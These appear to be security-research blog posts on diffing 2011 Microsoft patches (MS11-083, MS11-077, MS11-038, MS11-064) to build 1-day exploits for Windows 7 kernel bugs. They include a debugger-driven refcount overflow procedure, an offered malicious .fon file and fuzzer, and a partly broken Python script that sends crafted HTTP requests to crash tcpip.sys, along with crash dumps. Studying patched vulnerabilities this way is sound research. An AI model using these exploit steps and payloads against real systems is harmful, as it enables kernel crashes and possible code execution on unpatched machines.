Then, IppRateLimitIcmp() is supposed to dereference context by 1) refCount=refCount-1 if refCount > 0, or 2) free(pContext+0xC) if refCount == 0.
However, because IppRateLimitIcmp() in the old version missed to invoke dereference routines, *desired* exploit steps would be as follows.

Step1. increase refCount until it reaches INT_MAX
Step2. increase refCount once/twice, then refCount will be 0/1 because of an integer overflow.
Step3. explicitly invoke dereferece routine (sending UDP packets will not invoke dereference routines for you because this is the cause of MS11-083!)

As far as we know, to achieve step1, we need to send 2^32 UDP packets. For this massive packet sending, Yeong Jin came up with the interesting idea by simply assuming that this massive packet sending is already done (and this is why we call this as *fake* exploit).
For step3, the cross reference of IppDereferenceNeighbor() included Ipv4pHandleEchoRequest(). Haha… Ipv4pHandleEchoRequest() would be triggered by sending simple ICMP echo requests.

Good. The working steps of *fake* exploit are as follows.

Step1. set the conditional breakpoint on IppRateLimitIcmp(), and set refCount value as 0xfffffc00 when it's fired.
Step2. send a packet to a closed port (increase refCount)
Step3. send a ECHO request (explicitly invoke a dereference routine)
Step4. go back to Step2

Note that the timing issues of Windows packet handling are important because step3 would decrease refCount.
Have a fun guys. Below we’ve attached the windbg crash dumps.

kd> bp tcpip!IppRateLimitIcmp+0x28 "j (poi(@eax+4) & 0x0`000000ff) = 0x0`00000010 'dd eax eax+4;ed eax+4 ffffffc0;dd eax eax+4;gc';'gc'"
kd> bp tcpip!IppDereferenceNeighborPrimitive+0x17 "dd eax eax+4;gc"
kd> g
85566260 656e7049 00000000
855660e0 656e7049 00000000
85566320 656e7049 00000000
85ef5300 656e7049 00000010
85ef5300 656e7049 ffffffc0
85ef5300 656e7049 00000010
85ef5300 656e7049 ffffffc0
85ef5300 656e7049 00000010
85ef5300 656e7049 ffffffc0
85ef5300 656e7049 00000010
85ef5300 656e7049 ffffffc0
85ef5300 656e7049 00000010
85ef5300 656e7049 ffffffc0
85ef5300 656e7049 00000010
85ef5300 656e7049 ffffffc0
85ef5300 656e7049 00000010
85ef5300 656e7049 ffffffc0
85ef5300 656e7049 00000010
85ef5300 656e7049 ffffffc0
85ef5300 656e7049 00000010
85ef5300 656e7049 ffffffc0
85ef5300 656e7049 00000010
85ef5300 656e7049 ffffffc0
85ef5300 656e7049 00000010
85ef5300 656e7049 ffffffc0
85ef5300 656e7049 00000010
85ef5300 656e7049 ffffffc0
85ef5300 656e7049 00000010
85ef5300 656e7049 ffffffc0
85ef5300 656e7049 00000000
85ef5300 00000000 00000000
85ef5300 85ef5300 00000000
85ef5300 85ef5300 00000000
85ef5300 85ef5300 00000000
85ef5300 85ef5300 00000000
85ef5300 85ef5300 00000000
85ef5300 85ef5300 00000000

*** Fatal System Error: 0x000000d1

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

Connected to Windows 7 7600 x86 compatible target at (Thu Nov 10 10:25:31.728 2011 (UTC - 5:00)), ptr64 FALSE
Loading Kernel Symbols
Loading User Symbols

Loading unloaded module list
* *
* Bugcheck Analysis *
* *

Use !analyze -v to get detailed debugging information.

BugCheck D1, {0, 2, 1, 8709c1be}

Probably caused by : E1G60I32.sys ( E1G60I32!RxProcessReceiveInterrupts+108 )

Followup: MachineOwner

828864d4 cc int 3
kd> !analyze -v
* *
* Bugcheck Analysis *
* *

An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is usually
caused by drivers using improper addresses.
If kernel debugger is available get stack backtrace.
Arg1: 00000000, memory referenced
Arg2: 00000002, IRQL
Arg3: 00000001, value 0 = read operation, 1 = write operation
Arg4: 8709c1be, address which referenced memory

Debugging Details:



8709c1be 830701 add dword ptr [edi],1




TRAP_FRAME: 829416f4 -- (.trap 0xffffffff829416f4)
ErrCode = 00000002
eax=00000020 ebx=84fb0c90 ecx=85ade4b0 edx=84fbb008 esi=84fad000 edi=00000000
eip=8709c1be esp=82941768 ebp=829417ec iopl=0 nv up ei ng nz ac po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010292
8709c1be 830701 add dword ptr [edi],1 ds:0023:00000000=????????
Resetting default scope

LAST_CONTROL_TRANSFER: from 828f7f95 to 828864d4

829412bc 828f7f95 00000003 5d20c96e 00000065 nt!RtlpBreakWithStatusInstruction
8294130c 828f8a91 00000003 00000000 8709c1be nt!KiBugCheckDebugBreak+0x1c
829416d4 828617cb 0000000a 00000000 00000002 nt!KeBugCheck2+0x68b
829416d4 8709c1be 0000000a 00000000 00000002 nt!KiTrap0E+0x2cf
829417ec 8709bbf5 85b9ac30 00000000 00000001 tcpip!IpFlcReceivePackets+0x13f
82941868 8709bd66 85bd2d00 85ade410 00000000 tcpip!FlpReceiveNonPreValidatedNetBufferListChain+0x746
8294189c 828ab0ca 85ade410 5d20c366 84170e28 tcpip!FlReceiveNetBufferListChainCalloutRoutine+0x11e
82941904 8709bdee 8709bc48 8294192c 00000000 nt!KeExpandKernelStackAndCalloutEx+0x132
82941940 86ef318d 85bd2d02 85ade400 00000000 tcpip!FlReceiveNetBufferListChain+0x7c
82941978 86ee1670 85bcd008 85ade410 00000000 ndis!ndisMIndicateNetBufferListsToOpen+0x188
829419a0 86ee15e7 00000000 854ca0e0 85aefe10 ndis!ndisIndicateSortedNetBufferLists+0x4a
82941b1c 86e9421d 854ca0e0 00000000 00000000 ndis!ndisMDispatchReceiveNetBufferLists+0x129
82941b48 86e8cca5 854ca0e0 85ade410 00000000 ndis!ndisMDispatchReceiveNetBufferListsWithLock+0x60
82941b64 86ee1a2e 854ca0e0 85ade410 00000000 ndis!ndisMTopReceiveNetBufferLists+0x2d
82941b8c 86e8cc1e 854ca0e0 85ade410 00000000 ndis!ndisMIndicateReceiveNetBufferListsInternal+0x62
82941bb4 8cb797f4 854ca0e0 85ade410 00000000 ndis!NdisMIndicateReceiveNetBufferLists+0x52
82941bfc 8cb7877e 00000000 85aedcf0 00000002 E1G60I32!RxProcessReceiveInterrupts+0x108
82941c14 86ee1309 015cc160 00000000 82941c40 E1G60I32!E1000HandleInterrupt+0x80
82941c50 86e8c9f4 85aedd04 00aedcf0 00000000 ndis!ndisMiniportDpc+0xe2
82941c78 828834f5 85aedd04 85aedcf0 00000000 ndis!ndisInterruptDpc+0xaf
82941cd4 82883358 82944d20 8294e280 00000000 nt!KiExecuteAllDpcs+0xf9
82941d20 82883178 00000000 0000000e 00000000 nt!KiRetireDpcList+0xd5
82941d24 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x38


8cb797f4 8b45e8 mov eax,dword ptr [ebp-18h]


SYMBOL_NAME: E1G60I32!RxProcessReceiveInterrupts+108



IMAGE_NAME: E1G60I32.sys


FAILURE_BUCKET_ID: 0xD1_E1G60I32!RxProcessReceiveInterrupts+108

BUCKET_ID: 0xD1_E1G60I32!RxProcessReceiveInterrupts+108

Followup: MachineOwner

Byoungyoung Lee, Yeong Jin Jang

MS11-077: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2567053)

Download MS11-077 .fon buffer overrun exploit : my.fon.tar.gz
Download very simple *.fon* fuzzer like tool : ms11-077-fon-exploit.tar.gz

Related CVEs
Font Library File Buffer Overrun Vulnerability – CVE-2011-2003

Diffing Binary Information
win32k.sys win32k.dll: 6.1.7601.21744 (win7sp1_ldr.110610-1504) VS 6.1.7601.21811 (win7sp1_ldr.110905-1505) (on Windows 7, 32bit)

This posting is no technical analysis, but it is driven by hardcore & intuition based analysis to make 1-day exploit.

MS11-077 was confusing at the first time. Because it involves 4 different vulnerabilities, we should try to match up these vulnerabilities whenever we reverse engineer the function. This time I will not show the DarunGrim diffing results cause it showed around 50 different functions! Don’t get frustrated though. It’s not going to take that long time to take a look all of them. Within 10 secs for each of the function, you might be able to decide whether the function is interesting or not.

Before getting to the details, you may also look into these. Three functions seem to be related to the null dereference bugs (_NtUserfnINLBOXSTRING(), _NtUserfnSENTDDEMSG(), _InterQueueMsgCleanup()). The function, _ConvertToAndFromWideChar(), seem to be related to “Win32k Use After Free Vulnerability – CVE-2011-2011″. You must be able to understand what I am meaning by here as soon as you open up these functions with DarunGrim.

What I want to focus in this post is .FON buffer overrun bug (CVE-2011-2003). From DarunGrim diffing result, _BmfdOpenFontContext() showed the different point below.

What ??? Patched version only adds immediate value ’5′ to some value (add eax, 5), and that computed value is related to decide the size of allocation. Seems interesting but strange. It is time to see the details to understand the contexts. Here goes the disassembly around the changed BB of the old win32k.sys.

.text:90857F82 loc_90857F82: ; CODE XREF: BmfdOpenFontContext(x)+E2j
.text:90857F82 mov eax, [ebp+numElement]
.text:90857F85 add eax, 7
.text:90857F88 shr eax, 3
.text:90857F8B mov [ebp+var_4], ecx
.text:90857F8E cmp eax, 100h
.text:90857F93 jbe short loc_90857FA1
.text:90857F95 add eax, 28h
.text:90857F98 mov [ebp+var_4], 3
.text:90857F9F jmp short loc_90857FA4
.text:90857FA1 loc_90857FA1: ; CODE XREF: BmfdOpenFontContext(x)+E7j
.text:90857FA1 ; BmfdOpenFontContext(x)+FAj
.text:90857FA1 mov eax, [ebp+preDefinedSize]
.text:90857FA4 loc_90857FA4: ; CODE XREF: BmfdOpenFontContext(x)+106j
.text:90857FA4 push 64666D42h ; Tag
.text:90857FA9 push eax ; int
.text:90857FAA push 0 ; char
.text:90857FAC call _EngAllocMem@12 ; EngAllocMem(x,x,x)

This is the pseudo-code of these assembly. The variable naming was done at my convenience.

uint preDefinedSize = 0x28; // mov dword ptr [ebp-14h], 28h
sizeToAllocate = (numElement + 7) / 8;

if( sizeToAllocate <= 0x100)
sizeToAllocate = preDefinedSize;
sizeToAllocate += 0x28;

EngAllocMem(0, sizeToAllocate, 0x64666d42);

All right. In the patched version, the sizeToAllocate variable would be computed as “((numElement + 7) / 8 ) + 5″. After spending some time, we suspected some range of the values, which should have taken ‘else’ branch, mistakenly took ‘then’ branch. Because it took ‘then’ branch, the allocated size was too small and this small size of allocation would lead to buffer overrun later (We understand this interpretation is far from scientific or logical reverse engineering, but you should know that this sloppy logic is enough to write an 1-day exploit.)

More specifically, we suspected the numElement values, satisfying 0xaa <= (numElement +7) /8 <= 0×100, would cause trouble (though we don’t know why and how !). We got this false fail idea in the patched binary from D. Brumeley et al.’s paper, “Automatic Patch-Based Exploit Generation is Possible: Techniques and Implications” (

Things are getting clear. Our goal should be to find the input which satisfies the above statement. From the MS technet description, “improper handling of a specially crafted .fon font file”, and the function name _BmfdOpenFontContext(), which implies bitmap font driver something, we decided to manipulate .fon file. To play with .fon files, we implemented very simple ‘.fon’ file format recognizing fuzzer like tool. Using this tool, we figured ‘width’ field is related (see our *fuzzer* for details) to control numElement variable, and it leads to ‘heap overflow’ when the variable satisfies the vulnerable condition. What’s the interesting is that you only need to visit the directly containing .fon file to trigger bitmap font driver routines 🙂

I am attaching the .fon font file generated by our python codes (upon mkwinfont by Simon Tatham) and windbg crash dumps. We are not sure this bug can actually be used to execute the arbitrary codes, but we’d like to leave this question to you guys.

Download MS11-077 .fon buffer overrun exploit : my.fon.tar.gz
Download very simple *.fon* fuzzer like tool : ms11-077-fon-exploit.tar.gz

Breakpoint 1 hit
90857f85 83c007 add eax,7
kd> r
eax=00000730 ebx=fe9aacf0 ecx=00000001 edx=00000001 esi=00000028 edi=fe7fc1f8
eip=90857f85 esp=8a2af8d0 ebp=8a2af904 iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206
90857f85 83c007 add eax,7
kd> r eax
kd> p
90857f88 c1e803 shr eax,3
kd> p
90857f8b 894dfc mov dword ptr [ebp-4],ecx
kd> r eax
kd> g

*** Fatal System Error: 0x00000019

Break instruction exception – code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

Connected to Windows 7 7600 x86 compatible target at (Wed Oct 12 18:38:42.012 2011 (UTC – 4:00)), ptr64 FALSE
Loading Kernel Symbols
Loading User Symbols
Loading unloaded module list
* *
* Bugcheck Analysis *
* *

Use !analyze -v to get detailed debugging information.

BugCheck 19, {20, fe1ed440, fe1ed5a0, 4a2c000c}

Probably caused by : win32k.sys ( win32k!EngFreeMem+1f )

Followup: MachineOwner

828be394 cc int 3
kd> !analyze -v
* *
* Bugcheck Analysis *
* *

The pool is already corrupt at the time of the current request.
This may or may not be due to the caller.
The internal pool links must be walked to figure out a possible cause of
the problem, and then special pool applied to the suspect tags or the driver
verifier to a suspect driver.
Arg1: 00000020, a pool block header size is corrupt.
Arg2: fe1ed440, The pool entry we were looking for within the page.
Arg3: fe1ed5a0, The next pool entry.
Arg4: 4a2c000c, (reserved)

Debugging Details:


POOL_ADDRESS: fe1ed440 Paged session pool


PROCESS_NAME: csrss.exe


LAST_CONTROL_TRANSFER: from 8292fe71 to 828be394

8a2af3b4 8292fe71 00000003 dda0d4a7 00000065 nt!RtlpBreakWithStatusInstruction
8a2af404 8293096d 00000003 fe1ed440 000001ff nt!KiBugCheckDebugBreak+0x1c
8a2af7c8 829721b6 00000019 00000020 fe1ed440 nt!KeBugCheck2+0x68b
8a2af844 9088c189 fe1ed448 00000000 fe7fc1d8 nt!ExFreePoolWithTag+0x1b1
8a2af858 90950204 fe1ed458 90959cdf fe40f480 win32k!EngFreeMem+0x1f
8a2af86c 90959cf5 fe1ed458 8a2af8d8 8a2af8b4 win32k!BmfdCloseFontContext+0x41
8a2af87c 90965501 fe40f480 00000000 8a2af930 win32k!BmfdDestroyFont+0x16
8a2af8b4 90965554 fe40f480 00000000 8a2afc70 win32k!PDEVOBJ::DestroyFont+0x67
8a2af8e4 908d0d1e 00000000 8a2af910 00000001 win32k!RFONTOBJ::vDeleteRFONT+0x33
8a2af928 908d2d15 fe40f480 050a071e 8a2afc70 win32k!RFONTOBJ::bMakeInactiveHelper+0x25a
8a2af984 908fba77 00000000 8a2afc70 00000000 win32k!RFONTOBJ::vMakeInactive+0x72
8a2afa04 908fbd74 8a2afc3c 00000000 00000004 win32k!RFONTOBJ::bInit+0xe3
8a2afa1c 908a4b2b 8a2afc3c 00000000 00000004 win32k!RFONTOBJ::vInit+0x16
8a2afcb8 908a4a2f 69010742 00000340 00000040 win32k!GreGetCharABCWidthsW+0x86
8a2afd14 8289642a 69010742 00000340 00000040 win32k!NtGdiGetCharABCWidthsW+0xf8
8a2afd14 76f864f4 69010742 00000340 00000040 nt!KiFastCallEntry+0x12a
0435e9ac 00000000 00000000 00000000 00000000 ntdll!KiFastSystemCallRet


9088c189 5e pop esi


SYMBOL_NAME: win32k!EngFreeMem+1f



IMAGE_NAME: win32k.sys


FAILURE_BUCKET_ID: 0x19_20_win32k!EngFreeMem+1f

BUCKET_ID: 0x19_20_win32k!EngFreeMem+1f

Followup: MachineOwner

MS11-038 : Vulnerability in OLE Automation Could Allow Remote Code Execution (2476490)

Related CVEs

OLE Automation Underflow Vulnerability – CVE-2011-0658

Diffing Binary Information

oleaut32.dll: 6.1.7600.16385 VS 6.1.7600.16722 (on Windows 7)


By running Darungrim, we have different function list below.

After playing around with these functions, I’ve found the interesting new blocks in “_PictLoadMetaFileRaw()”.

(If you google this function name, then you’ll find the vulnerability report for MS11-038, which says there’s integer overflow issues in this function. I should have googled first to save my time !!)

Yeah, this is what we exactly wanted to find. New conditional branches are added, and it seems interesting because 1) it’s compared with the constant value which is one of the common patch routines, and 2) arg8 is subtracted before being compared (hopefully integer overflow or underflow ??).

Probably this is a integer overflow patch. Let’s look at more details by tracing arg8 variable.

.text:6FC956DC                 mov     ecx, [ebp+arg_8]
.text:6FC956DF                 cmp     ecx, 12h
.text:6FC956E2                 jl      loc_6FC95856
.text:6FC956E8                 lea     eax, [ecx+14h]
.text:6FC956EB                 cmp     eax, ecx
.text:6FC956ED                 jle     loc_6FC95856
.text:6FC956F3                 push    eax             ; dwBytes
.text:6FC956F4                 push    42h             ; uFlags
.text:6FC956F6                 call    ds:__imp__GlobalAlloc@8 ; GlobalAlloc(x,x)
.text:6FC956FC                 mov     [ebp+hMem], eax

Hummm… Before getting to that new branch, there’s memory allocation routine and the size argument of this is computed using arg8.

if ( arg8 < 0x12) goto ERROR (loc_6FC95856)
if( arg8 +0x14 <= arg8) goto ERROR (loc_6FC95856)
GlobalAlloc( 0x42, arg8+0x14)

Seems like there’s already integer overflow detection routine, so what can we do more with this ? (note that this routine is the same in the before & after binary)

.text:6FC95783                 sub     [ebp+arg_8], 14h
.text:6FC95787                 add     ebx, 14h
.text:6FC9578A                 jmp     short loc_6FC957EE
.text:6FC957EE loc_6FC957EE:                           ; CODE XREF: _PictLoadMetaFileRaw(CPicture *,IStream *,long,RECTS *)+7Aj
.text:6FC957EE                 mov     edi, [ebp+var_8]
.text:6FC957F1                 lea     esi, [ebp+var_24]
.text:6FC957F4                 movsd
.text:6FC957F5                 movsd
.text:6FC957F6                 movsd
.text:6FC957F7                 movsd
.text:6FC957F8                 movsw
.text:6FC957FA                 mov     esi, [ebp+arg_8]
.text:6FC957FD                 lea     eax, [esi-12h]
.text:6FC95800                 push    eax             ; unsigned __int32
.text:6FC95801                 push    ebx             ; void *
.text:6FC95802                 push    [ebp+arg_4]     ; struct IStream *
.text:6FC95805                 call    ?HrRead@@YGJPAUIStream@@PAXK@Z ; HrRead(IStream *,void *,ulong)

This seems like HrRead( xxxx, xxxx, arg8-0x14-0x12). OHH?? Wait a moment. New branch block tried to assert “(arg8-0x14) > 0x12”.
Then, if 0x12 <= arg8 <= 0x26 (we really need to have a constraint solver!), we can trigger integer underflow on “lea eax, [esi-12h]”, which could unexpectedly lead to a huge value.

Good luck guys. It should be fun ! But I would rather work on next patch Tuesday 🙂

Messages to fuzzer developers
Simply putting critical values like 0xff, 0x80 and 0x00 would be no good anymore because everybody has done this already. As you can see in this vulnerability, we should put some arbitrary values in the length field to raise the exception, which requires to explore whole 1/2/4 bytes space. It’s time to consider using ‘constraint solvers’ to find better critical values.

MS11-064 : Vulnerabilities in TCP/IP Stack Could Allow Denial of Service (2563894)

Updates on 9/9/2011

More detailed analysis & exploits (it’s  successful only one time though)

Related CVEs

  • TCP/IP QOS Denial of Service Vulnerability – CVE-2011-1965
  • ICMP Denial of Service Vulnerability – CVE-2011-1871
Binary version information
  • Before – tcpip.sys 6.1.7601.17603 (win7sp1_gdr.110424-1504)
  • After – tcpip.sys 6.1.7601.17638 (win7sp1_gdr.110620-1602)

Upon running two tcpip.sys binaries, DG shows five different functions.

Based on the function name itself, it seems quite obvious that _EQoSAllocateHkeUrlSearch@20 is related to CVE-2011-1965 and _Icmpv4ReceiveDatagrams@4 is related to CVE-2011-1871.

Let’s take a look at the descriptions of CVE-2011-1965.

By sending a request with a specially crafted URL, an
unauthenticated, remote attacker may be able to cause
the affected host to stop responding and automatically
reboot if it is serving web content and has URL-based
QoS (Quality of Service) enabled. (CVE-2011-1965)

Surprisingly _EQoSAllocateHkeUrlSearch@20 has only one block change.

The only difference is that ‘add cx, cx’ is removed in new version. I guess this is because the field [esi+4] was assumed to have unicode string length, but it was not. Because of this ‘add cx,cx’, integer overflow could be triggered (and possibly trigger integer underflow on ‘sub cx, [esi+0ch]’) and I suspect this overflow issue leads Denial of Service later.

After spending sometime, we figured out how to trigger this routine and how to work this out.

GET /foo/bar.html HTTP/1.1


If the windows receives the HTTP requests like above, http.sys parses the HTTP request header and builds up the full URL and passes this information to ‘tcpip.sys’. (remember, this is all happening inside the kernel ! ). Register ‘esi’ actually points to the url structure, which is initialized by http!UlpHkeInitializeUrl. The layout of the structure is described below.

[esi+0] fullUrlLen (word) (counted as multibyte characters)

[esi+4] subUrlLen (word)  (counted as multibyte characters)

[esi+c] pFullUrlBuffer (dword) // pointer to “;  (unicode string)

[esi+14] pSubUrlBuffer (dword) // pointer to “/foo/bar.html” (unicode string)

Thus [ebp+arg_c] will be computed like this. [ebp+arg_c] = subUrlLen + subUrlLen – pFullUrlBuffer + pSubUrlBuffer.  Because there is overflow issues, [ebp+arg-c] could be assigned with the unexpected value. Finally, this [ebp+arg_c] will be used as a size argument of memcpy() call.

.text:000CC118                 mov     eax, [ebp+var_4]
.text:000CC11B                 and     eax, 0FFFFFFFCh
.text:000CC11E                 mov     [edi+18h], ebx
.text:000CC121                 add     ebx, eax
.text:000CC123                 movzx   eax, word ptr [ebp+arg_C]
.text:000CC127                 push    eax             ; size_t
.text:000CC128                 push    dword ptr [esi+0Ch] ; void *
.text:000CC12B                 push    ebx             ; void *
.text:000CC12C                 call    _memcpy


So far, we do not have POC. To trigger this vulnerability, the victim server should turn on ‘url-based QOS’, which is a part of ‘policy based QoS’ techniques in Windows 7 / Windows 2008, and also need to turn on the web server (probably it should be IIS?). A simple HTTP request to the server triggers the codes which is very close to the vulnerable routine. (Any comments are always welcomed !)

Though we’ve seen the blue screen only one time (OMG ! yeah we cannot repeat this), we got the crushdump which might be enough to confirm the vulnerability.

Here’s the exploit codes (remember ! this exploit worked only once, but it is good enough to trigger vulnerable routine so that you guys can try this on your own)

import struct
import socket

HOST = "localhost" # yeah, we've tried this as a local kernel exploit -:)
PORT= 80

def tryOnce(i,j):
    print hex(i), hex(j)
    filename = ["a"*0x100 for x in range(i)]

    filename = "/".join(filename)
    filename += "/" + "b" * j
    print "filename len : ", hex(len(filename))

    hostname = ""
    header = "GET /%s\n" % filename
    header += "HOST: %s\n\n\n" % hostname

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    response = s.recv(1024)
    print response

if __name__ == '__main__':


870cc0aa 6603c9          add     cx,cx
kd> r
eax=00000020 ebx=841ecfb0 ecx=00007888 edx=870f1aa2 esi=9166b80c edi=9166b7c0
eip=870cc0aa esp=9166b770 ebp=9166b798 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000202
870cc0aa 6603c9          add     cx,cx
kd> dd esi
9166b80c  001278ae 90847888 85e00050 84345000
9166b81c  8434500e 84345026 00000000 8609c020
9166b82c  8620a910 841ecf78 848f2f28 9166b854
9166b83c  9082a21a 85e0f008 9166b85c 841ec008
9166b84c  841eb008 00000000 9166b968 9085955a
9166b85c  85e0f0b0 841ec050 00000001 00000000
9166b86c  00000001 00000000 841eb008 9082afa1
9166b87c  841ec008 00000000 00000000 01e23583
kd> dc 84345000
84345000  00740068 00700074 002f003a 0031002f  h.t.t.p.:././.1.
84345010  00370032 0030002e 0030002e 0031002e  2.7...0...0...1.
84345020  0038003a 002f0030 00610061 00610061  :.8.0./.a.a.a.a.
84345030  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345040  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345050  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345060  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345070  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
kd> dc 84345026
84345026  0061002f 00610061 00610061 00610061  /.a.a.a.a.a.a.a.
84345036  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345046  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345056  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345066  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345076  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345086  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
84345096  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
Here's crashdump status. (using the exploit codes above, but still we puzzled why it's not working anymore. it might be because of heap status ???)
kd> r
eax=8294917c ebx=00000000 ecx=000000a8 edx=00000000 esi=8293bd20 edi=00000000
eip=828978e3 esp=93f37648 ebp=93f376c8 iopl=0         nv up ei pl nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000206
828978e3 cc              int     3
kd> u .
828978e3 cc              int     3
828978e4 8b06            mov     eax,dword ptr [esi]
828978e6 8b5e04          mov     ebx,dword ptr [esi+4]
828978e9 8b7d08          mov     edi,dword ptr [ebp+8]
828978ec 897c2424        mov     dword ptr [esp+24h],edi
828978f0 8364242401      and     dword ptr [esp+24h],1
828978f5 743d            je      nt!MmAccessFault+0x156 (82897934)
828978f7 8bd0            mov     edx,eax
kd> k v
ChildEBP RetAddr  Args to Child
93f376c8 828585f8 00000000 863d4000 00000000 nt!MmAccessFault+0x106
93f376c8 828507d3 00000000 863d4000 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ 93f376e0)
93f3775c 870f4131 84e6d020 863cc000 0000f136 nt!memcpy+0x33
93f37798 870f8463 00000020 84f6e168 845f69dc tcpip!EQoSAllocateHkeUrlSearch+0x114 (FPO: [Non-Fpo])
93f377dc 9064ccc7 93f3780c 845f69dc ffffffff tcpip!EQoSHkeAcquireQoS+0x62 (FPO: [Non-Fpo])
93f37838 9061f21a 845f6990 93f3785c 84279008 HTTP!UlHkeAcquireQoS+0x1c2 (FPO: [Non-Fpo])
93f37854 9064e55a 845f6a38 84279050 00000001 HTTP!UlSendData+0x54 (FPO: [Non-Fpo])
93f37968 9065b0c9 0041b5d4 93f37af4 93f379b4 HTTP!UlFastSendHttpResponse+0x925 (FPO: [Non-Fpo])
93f37be8 906190cc 85e1ba00 85e1badc 85d7f1e8 HTTP!UlSendHttpResponseIoctl+0x4cb (FPO: [Non-Fpo])
93f37bfc 8284e4bc 85d7f1e8 85e1ba00 85e1ba00 HTTP!UlDeviceControl+0x39 (FPO: [Non-Fpo])
93f37c14 82a4feee 853ad930 85e1ba00 85e1badc nt!IofCallDriver+0x63
93f37c34 82a6ccd1 85d7f1e8 853ad930 00000000 nt!IopSynchronousServiceTail+0x1f8
93f37cd0 82a6f4ac 85d7f1e8 85e1ba00 00000000 nt!IopXxxControlFile+0x6aa
93f37d04 8285542a 0000023c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
93f37d04 778a64f4 0000023c 00000000 00000000 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ 93f37d34)
WARNING: Frame IP not in any known module. Following frames may be wrong.
011af4b8 00000000 00000000 00000000 00000000 0x778a64f4